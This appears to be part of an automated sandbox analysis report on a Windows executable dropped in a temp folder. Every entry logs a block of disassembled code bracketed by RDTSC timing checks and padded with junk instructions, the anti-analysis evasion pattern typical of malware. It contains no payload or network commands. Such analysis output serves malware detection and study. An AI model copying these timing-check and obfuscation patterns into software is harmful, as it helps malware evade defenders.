Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5EC6EB second address: 5EC70A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F12E108FDBCh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5EC70A second address: 5EC70F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5ECAC7 second address: 5ECAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5950EA second address: 595141 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007F12E0FAFC7Dh 0x00000011 push 00000004h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F12E0FAFC78h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov cx, 5E51h 0x00000031 push eax 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jp 00007F12E0FAFC76h 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5ECE44 second address: 5ECE64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F12E108FDBBh 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F12E108FDBDh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5ECE64 second address: 5ECE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F30CD second address: 5F30E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F12E108FDBFh 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F3233 second address: 5F3244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jc 00007F12E0FAFC7Ch 0x0000000b jng 00007F12E0FAFC76h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F3244 second address: 5F3295 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F12E108FDBEh 0x00000008 jmp 00007F12E108FDC1h 0x0000000d jmp 00007F12E108FDC3h 0x00000012 popad 0x00000013 push edi 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop edi 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c jmp 00007F12E108FDBAh 0x00000021 jng 00007F12E108FDB6h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F3295 second address: 5F329A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F3680 second address: 5F3687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F3687 second address: 5F368C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F395F second address: 5F3965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F3965 second address: 5F396B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F396B second address: 5F3971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F3971 second address: 5F3976 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F4129 second address: 5F412D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F49CA second address: 5F49D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC7Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F49D9 second address: 5F4A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F12E108FDC6h 0x0000000b jmp 00007F12E108FDBFh 0x00000010 jne 00007F12E108FDC0h 0x00000016 jmp 00007F12E108FDBAh 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f jmp 00007F12E108FDC7h 0x00000024 pushad 0x00000025 popad 0x00000026 pop eax 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F4A32 second address: 5F4A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F4A38 second address: 5F4A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F12E108FDC4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F4A50 second address: 5F4A54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F4CD4 second address: 5F4CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F12E108FDBEh 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F4CEB second address: 5F4CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5F4CF5 second address: 5F4D14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jg 00007F12E108FDFAh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FA7B7 second address: 5FA7BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FA7BD second address: 5FA7C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FA7C3 second address: 5FA7C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FF3FD second address: 5FF401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FF401 second address: 5FF405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FF405 second address: 5FF40B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FF40B second address: 5FF42D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F12E0FAFC88h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FF718 second address: 5FF738 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC2h 0x00000007 je 00007F12E108FDB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FF738 second address: 5FF73E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FF73E second address: 5FF75F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F12E108FDC6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FF75F second address: 5FF76C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FF8D9 second address: 5FF8E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FFA45 second address: 5FFA53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F12E0FAFC7Ah 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FFA53 second address: 5FFA67 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F12E108FDBEh 0x00000008 jns 00007F12E108FDB6h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FFA67 second address: 5FFA6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FFA6B second address: 5FFAB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F12E108FDC3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007F12E108FDBBh 0x00000017 jmp 00007F12E108FDBBh 0x0000001c push edi 0x0000001d pop edi 0x0000001e popad 0x0000001f jmp 00007F12E108FDC0h 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FFAB4 second address: 5FFAB9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5FFAB9 second address: 5FFAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 jo 00007F12E108FDBCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 606D98 second address: 606DDE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 jmp 00007F12E0FAFC86h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F12E0FAFC84h 0x00000014 ja 00007F12E0FAFC82h 0x0000001a push esi 0x0000001b pop esi 0x0000001c jmp 00007F12E0FAFC7Ah 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 607532 second address: 607537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 607537 second address: 60753D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 60753D second address: 607541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 607541 second address: 607576 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jc 00007F12E0FAFC76h 0x00000012 pop ebx 0x00000013 jmp 00007F12E0FAFC7Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F12E0FAFC84h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 608420 second address: 608424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 608424 second address: 608450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F12E0FAFC89h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F12E0FAFC76h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 608450 second address: 608454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 608454 second address: 60846F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F12E0FAFC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F12E0FAFC81h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 60846F second address: 60847D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E108FDBAh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 60847D second address: 60849D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F12E0FAFC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F12E0FAFC82h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 608C16 second address: 608C20 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 608C20 second address: 608C42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F12E0FAFC7Eh 0x00000010 push edx 0x00000011 pop edx 0x00000012 jp 00007F12E0FAFC76h 0x00000018 jmp 00007F12E0FAFC7Ah 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 6069AA second address: 6069B6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F12E108FDB6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 60F24B second address: 60F25F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F12E0FAFC7Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 60F25F second address: 60F265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 61AC89 second address: 61AC90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 61ADEF second address: 61ADF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 61ADF3 second address: 61ADF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 61ADF7 second address: 61AE1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F12E108FDB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F12E108FDBCh 0x00000012 jno 00007F12E108FDB6h 0x00000018 jnc 00007F12E108FDB6h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 61AE1D second address: 61AE29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F12E0FAFC76h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 61AE29 second address: 61AE2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 620B86 second address: 620BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F12E0FAFC85h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 6259B0 second address: 6259B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 6259B6 second address: 6259DD instructions: 0x00000000 rdtsc 0x00000002 jg 00007F12E0FAFC76h 0x00000008 jmp 00007F12E0FAFC81h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007F12E0FAFC78h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 62D843 second address: 62D849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 62D849 second address: 62D862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F12E0FAFC84h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 54D3FA second address: 54D400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 54D400 second address: 54D404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 62FBDC second address: 62FBE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 62FBE4 second address: 62FC29 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F12E0FAFC8Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F12E0FAFC97h 0x00000010 jmp 00007F12E0FAFC85h 0x00000015 jo 00007F12E0FAFC7Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 632025 second address: 632058 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBCh 0x00000007 jmp 00007F12E108FDC2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jno 00007F12E108FDB6h 0x00000016 push edi 0x00000017 pop edi 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 632058 second address: 63205C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 63205C second address: 632078 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 631EC4 second address: 631ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jc 00007F12E0FAFC7Ch 0x0000000b js 00007F12E0FAFC76h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 631ED5 second address: 631EE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F12E108FDB6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 63818A second address: 63818E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 63818E second address: 638192 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 638192 second address: 6381C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F12E0FAFC80h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ecx 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F12E0FAFC80h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 6381C3 second address: 6381E2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F12E108FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F12E108FDBFh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 638592 second address: 6385AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E0FAFC85h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 6385AD second address: 6385B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 6385B1 second address: 6385CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC7Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
